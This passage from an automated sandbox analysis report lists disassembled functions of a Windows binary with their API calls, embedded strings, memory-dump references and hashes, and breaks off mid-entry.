                                                                                        • Part of subcall function 00007FF78CF4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D485
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D4EE
                                                                                        • Part of subcall function 00007FF78CF4D3F0: iswspace.MSVCRT ref: 00007FF78CF4D54D
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D569
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D58C
                                                                                      • iswspace.MSVCRT ref: 00007FF78CF57EEE
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heapiswspace$AllocProcess
                                                                                      • String ID: A
                                                                                      • API String ID: 3731854180-3554254475
                                                                                      • Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
                                                                                      • Instruction ID: a93d2cc772587fc180f6842e0841d57b215ae70167df4bc894d253982427252c
                                                                                      • Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
                                                                                      • Instruction Fuzzy Hash: 34A19F23A0968286F720BB11A550679FBA0FF45790FB08135EB8D87795EF3CE545D720
                                                                                      Function 00007FF78CF69B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Enum$Openwcsrchr
                                                                                      • String ID: %s=%s$.$\Shell\Open\Command
                                                                                      • API String ID: 3402383852-1459555574
                                                                                      • Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
                                                                                      • Instruction ID: c9c3f44aef0df115fc855836c350dfd4abc5101030b533bc7d1fdaf236d497bc
                                                                                      • Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
                                                                                      • Instruction Fuzzy Hash: E0A1C323A0868282FE91AB55D0506BAF3A0FF85B94FE44535DA4E077C5DF7CEA45C320
                                                                                      Function 00007FF78CF6BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$InformationVolumeiswalphatowupper
                                                                                      • String ID: %04X-%04X$:
                                                                                      • API String ID: 930873262-1938371929
                                                                                      • Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
                                                                                      • Instruction ID: e6545f8981c6481cb4c3fe19a656b9f6575aee14f8b7e1da362cf7adcdb71786
                                                                                      • Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
                                                                                      • Instruction Fuzzy Hash: BE416133A08A82D2FB20AB64E4416BAF3A0FB85754FE04135EA4E436D5DF3CD548D760
                                                                                      Function 00007FF78CF536EC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
                                                                                      • String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
                                                                                      • API String ID: 3249344982-2616576482
                                                                                      • Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
                                                                                      • Instruction ID: ca955c8a549058a438e58e564c3c9f1a4305206d14ac181fba607b8ccd6059e0
                                                                                      • Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
                                                                                      • Instruction Fuzzy Hash: 4F414F72A18B818AF7109F12E844769FAA4FB89BD4F948234EB4D47794CF3CD258CB10
                                                                                      Function 00007FF78CF56A28 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • iswdigit.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56A73
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56A91
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56AB0
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56AE3
                                                                                      • wcschr.MSVCRT(?,?,00000000,00007FF78CF568A3,?,?,?,?,?,?,?,00000000,?,00007FF78CF563F3), ref: 00007FF78CF56B01
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$iswdigit
                                                                                      • String ID: +-~!$<>+-*/%()|^&=,
                                                                                      • API String ID: 2770779731-632268628
                                                                                      • Opcode ID: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
                                                                                      • Instruction ID: 6451f80458fa5c171bf9095ed2279662598e7a8311872ff0e393ca567dd7ab5c
                                                                                      • Opcode Fuzzy Hash: 04afb1219d2367be7b294e05ecf67b56e7fd74584ee28e872d0024d55c3108eb
                                                                                      • Instruction Fuzzy Hash: 51312A23A08A96D5FB54AF11E450278BAE0FB99F85BA9D135DB6E43354EF3CE504C320
                                                                                      Function 00007FF78CF51630 Relevance: 10.7, APIs: 7, Instructions: 208memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF51673
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF5168D
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF51757
                                                                                      • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF5176E
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF51788
                                                                                      • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,?,00007FF78CF514D6,?,?,?,00007FF78CF4AA22,?,?,?,00007FF78CF4847E), ref: 00007FF78CF5179C
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$Alloc$Size
                                                                                      • String ID:
                                                                                      • API String ID: 3586862581-0
                                                                                      • Opcode ID: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
                                                                                      • Instruction ID: 7f7c4605ff6f65e8a9f7a25fc78451cd6a988ab3ecff1b1e55fe35d7984ce398
                                                                                      • Opcode Fuzzy Hash: de24f60fade2ea1a8e9170476ea6e59d916578871a0233016ef2ac0a8793df42
                                                                                      • Instruction Fuzzy Hash: 9A919123E0A64696FB20AB19E540279F7A1FB44B90FA98135EF4D833A0DF3CE545C320
                                                                                      Function 00007FF78CF586F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
                                                                                      • String ID:
                                                                                      • API String ID: 1313749407-0
                                                                                      • Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
                                                                                      • Instruction ID: c6abc32cdd7b270484d260934bad7f342718a4150649cdd469a36a8088070a53
                                                                                      • Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
                                                                                      • Instruction Fuzzy Hash: D351E723A0868296FA10BB11A414579E691FF45B90FF89234EF2E577D1DF3CE541C360
                                                                                      Function 00007FF78CF6BE30 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 60COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpwcschr$Heap$AllocProcessiswspace
                                                                                      • String ID: KEYS$LIST$OFF
                                                                                      • API String ID: 411561164-4129271751
                                                                                      • Opcode ID: 9fd236f794765471c688532a78fffa23d2b2533206d05d2e386dcf7da8b9c818
                                                                                      • Instruction ID: 124b14b9ba6110d160abda1e837aec95f3ac470a20b672c26cbe05ce6f6d9f1d
                                                                                      • Opcode Fuzzy Hash: 9fd236f794765471c688532a78fffa23d2b2533206d05d2e386dcf7da8b9c818
                                                                                      • Instruction Fuzzy Hash: 01216D32A0864392FB54BB29A4425B5F6A1FF98790FE09231D61E462E4EF7CE548D720
                                                                                      Function 00007FF78CF6711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF671F9
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF6720D
                                                                                      • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF67300
                                                                                        • Part of subcall function 00007FF78CF65740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF78CF675C4,?,?,00000000,00007FF78CF66999,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF65744
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: OpenSemaphore$CloseErrorHandleLast
                                                                                      • String ID: _p0$wil
                                                                                      • API String ID: 455305043-1814513734
                                                                                      • Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                                                      • Instruction ID: 0a2af080723c6dcd146dd170b4cc0c2b1fec43b4f552fbe1a16c1f35e3859e1f
                                                                                      • Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                                                      • Instruction Fuzzy Hash: F761B3A3B1868282FF25EB659411AB9B3A1FF84B80FE54532EA0E07755EF3CD545C720
                                                                                      Function 00007FF78CF4E260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigit
                                                                                      • String ID: GeToken: (%x) '%s'
                                                                                      • API String ID: 3849470556-1994581435
                                                                                      • Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
                                                                                      • Instruction ID: 7254ceccfcfd290bb267423b0ba4ab10b001433a87cc0ede18e617522da005bb
                                                                                      • Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
                                                                                      • Instruction Fuzzy Hash: BA518B33A0864286FB25AF15A444A79FBA0FF54B14FB18435DA5D4B3A0DF7DE584CB20
                                                                                      Function 00007FF78CF6992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF69A10
                                                                                      • RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF69994
                                                                                        • Part of subcall function 00007FF78CF6A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A77A
                                                                                        • Part of subcall function 00007FF78CF6A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A839
                                                                                        • Part of subcall function 00007FF78CF6A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A850
                                                                                      • wcsrchr.MSVCRT ref: 00007FF78CF69A62
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$CloseEnumOpenwcsrchr
                                                                                      • String ID: %s=%s$.
                                                                                      • API String ID: 3242694432-4275322459
                                                                                      • Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                                                      • Instruction ID: 41a253bb7d253a522d0873fe4caf6898305b6063941e64ed06e5ff9e0b80112c
                                                                                      • Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                                                      • Instruction Fuzzy Hash: C941B223A0D78286FA54BB11A1506B9F2E1FF457A0FA44234DE5D077D5DE7CE545C320
                                                                                      Function 00007FF78CF55EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$CurrentDirectorytowupper
                                                                                      • String ID:
                                                                                      • API String ID: 1403193329-0
                                                                                      • Opcode ID: 5fd9396427832dd309ea45de15a329022afb5af3b1e2a9a89c5af6baa20d3923
                                                                                      • Instruction ID: 1cd0e4a57d97456e033f70a8b2a497342e5c639707c23e3eb22f826812171759
                                                                                      • Opcode Fuzzy Hash: 5fd9396427832dd309ea45de15a329022afb5af3b1e2a9a89c5af6baa20d3923
                                                                                      • Instruction Fuzzy Hash: ED51C327A0668185FB65EF20D9006BAB7A0FF48798FA58135DB1D87794EF3CE644C320
                                                                                      Function 00007FF78CF42A30 Relevance: 7.6, APIs: 5, Instructions: 119COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$_setjmp
                                                                                      • String ID:
                                                                                      • API String ID: 3883041866-0
                                                                                      • Opcode ID: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
                                                                                      • Instruction ID: 474067e2a2b605b1cdae4bfd164a7d4a664d6b8c7fdd033c9e4b352a78008804
